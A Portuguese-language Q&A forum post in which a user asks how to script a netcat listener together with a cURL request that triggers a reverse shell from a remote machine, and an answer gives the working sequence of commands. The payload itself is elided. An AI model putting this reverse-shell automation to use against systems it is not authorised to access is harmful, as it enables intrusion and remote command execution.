Usando netcat e curl juntos em um script bash

0

Esta questão está mais relacionada ao infosec, mas não consigo encontrar uma solução alternativa para automatizar o seguinte processo:

Existe um comando cURL que aciona uma conexão com o netcat. Sem automatização, eu digito nc -lvnp 9191 , e no outro terminal eu insiro o comando cURL que estabelece uma conexão de volta para a minha máquina na porta 9191, a qual eu posso executar alguns comandos em uma máquina remota.

Estou tentando algo assim em meu script bash:

nc -lvnp 9191&  
curl ......  

O netcat inicia um ouvinte, entra em segundo plano, o cURL aciona a conexão (eu recebo a conexão de volta), mas o netcat fecha imediatamente.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$

Se eu remover o nc -lvnp 9191& do script bash e deixar apenas o comando cURL no script bash, ocorrerá o seguinte:

$ nc -lvnp 9191&  
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )                                                                                                   
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh  
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.  
cmd>  

No entanto, quando clico em 'entrar', o trabalho do netcat é suspenso imediatamente:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

Eu tenho que fg para continuar o trabalho do netcat e continuar trabalhando, mas eu queria saber se eu poderia de alguma forma me salvar de todo esse problema dentro do próprio script bash.

    
por bashbin 27.08.2018 / 02:23

1 resposta

0

Então, depois de conversarmos com alguém, finalmente conseguimos fazê-lo funcionar. Alteramos os locais da linha, então curl vem primeiro (mas como trabalho em segundo plano) e, em seguida, netcat (sem plano de fundo). A abordagem é semelhante à seguinte:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191
    
por 27.08.2018 / 18:30